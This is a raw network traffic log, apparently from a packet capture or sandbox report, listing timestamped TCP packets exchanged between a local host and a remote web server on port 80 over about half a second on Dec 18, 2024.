Dec 18, 2024 20:56:32.598177910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.598221064 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.598470926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.599246979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.599278927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.599287987 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.600348949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.600394011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.600398064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.601442099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.601483107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.601551056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.602585077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.602629900 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.602730036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.603693008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.603739977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.603751898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.604763985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.604808092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.604871988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.605962992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.606007099 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.606333017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.606982946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.607036114 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.607295990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.608094931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.608151913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.608205080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.609338999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.609388113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.609416962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.610373020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.610433102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.610435009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.611438036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.611483097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.611540079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.612584114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.612632990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.612648010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.613601923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.613643885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.613810062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.614722967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.614777088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.614789963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.615777969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.615822077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.615891933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.616975069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.617008924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.617026091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.634310961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.634388924 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.634402990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.635333061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.635402918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.635431051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.635447025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.635487080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.636102915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.636234999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.636276007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.637213945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.681211948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.754348993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.754400015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.754440069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.754751921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.754874945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.754920959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.755959988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.756036043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.756067991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.757148027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.757477045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.757514954 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.757596016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.758608103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.758630991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.758651018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.759679079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.759721994 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.759778023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.760730982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.760773897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.760818958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.761781931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.761821032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.761975050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.763012886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.763056993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.763103008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.764136076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.764166117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.764187098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.765239000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.765291929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.765360117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.766508102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.766565084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.766649961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.767657042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.767698050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.767741919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.768780947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.768834114 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.768852949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.769879103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.769918919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.769999027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.770958900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.770996094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.771001101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.771990061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.772036076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.772085905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.773011923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.773032904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.773056984 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.774007082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.774053097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.774142981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.775105953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.775156975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.775214911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.776230097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.776269913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.776350975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.777538061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.777575016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.777620077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.778656960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.778697968 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.778744936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.779645920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.779696941 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.779740095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.781939030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.781989098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.784151077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.785892963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.785917044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.785964012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.786017895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.786058903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.786221027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.787678003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.787699938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.787786007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.788902998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.788923979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.788939953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.788953066 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.788957119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.788994074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.789031029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.789069891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.789320946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.790227890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.790271997 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.790328026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.791520119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.791574001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.791668892 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.792937040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.792975903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.793028116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.794106007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.794143915 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.794212103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.795296907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.795325994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.795332909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.796084881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.796122074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.796251059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.797406912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.797462940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.797674894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.798172951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.798212051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.798222065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.799467087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.799521923 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.799585104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.800692081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.800759077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.800782919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.801811934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.801867008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.801875114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.802722931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.802766085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.802838087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.803883076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.803922892 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.803927898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.804913044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.804954052 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.804976940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.805881023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.805917978 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.806096077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.807147026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.807185888 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.807332993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.808365107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.808420897 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.808455944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.809267044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.809314966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.809343100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.810342073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.810383081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.828506947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.828553915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.828591108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.828989983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.829186916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.829231024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.830430031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.830929995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.830952883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.830974102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.884346008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.948014975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.948170900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.948239088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.948652029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.948811054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.948858023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.949845076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.950014114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.950064898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.950938940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.951277971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.951324940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.951462030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.952451944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.952516079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.952609062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.953486919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.953533888 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.953598022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.954468012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.954488993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.954508066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.954514980 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.954530001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.954581022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.956953049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.956962109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.957015038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.957865000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.957915068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.958043098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.959003925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.959049940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.959125042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.960371017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.960392952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.960422039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.961282969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.961330891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.961447954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.962405920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.962469101 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.962531090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.963547945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.963596106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.963675022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.964659929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.964680910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.964709997 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.965783119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.965831041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.965929985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.966917038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.966937065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.966964960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.967924118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.967982054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.968239069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.969224930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.969290972 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.969378948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.970355988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.970375061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.970403910 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.971374989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.971419096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.971544027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.972481966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.972532988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.972600937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.973537922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.973581076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.973671913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.974742889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.974750042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.974791050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.975724936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.975784063 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.975850105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.976999044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.977018118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.977044106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.977926970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.977998018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.978231907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.979190111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.979209900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.979237080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.980299950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.980318069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.980346918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.981396914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.981439114 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.981587887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.981673002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.981688976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.981712103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.981718063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.981756926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.981823921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.982995987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.983038902 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.983114958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.983935118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.983985901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.984030962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.985017061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.985078096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.985112906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.986140013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:32.986191034 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:32.986248970 CET	80	49747	185.185.71.170	192.168.2.3
